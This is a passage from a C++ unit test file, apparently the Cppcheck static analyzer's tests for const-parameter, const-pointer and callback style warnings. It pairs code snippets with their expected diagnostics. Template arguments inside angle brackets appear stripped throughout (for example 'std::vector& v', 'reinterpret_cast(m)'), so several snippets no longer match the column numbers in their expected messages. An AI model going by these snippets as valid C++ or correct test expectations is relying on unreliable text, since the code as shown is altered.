reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n 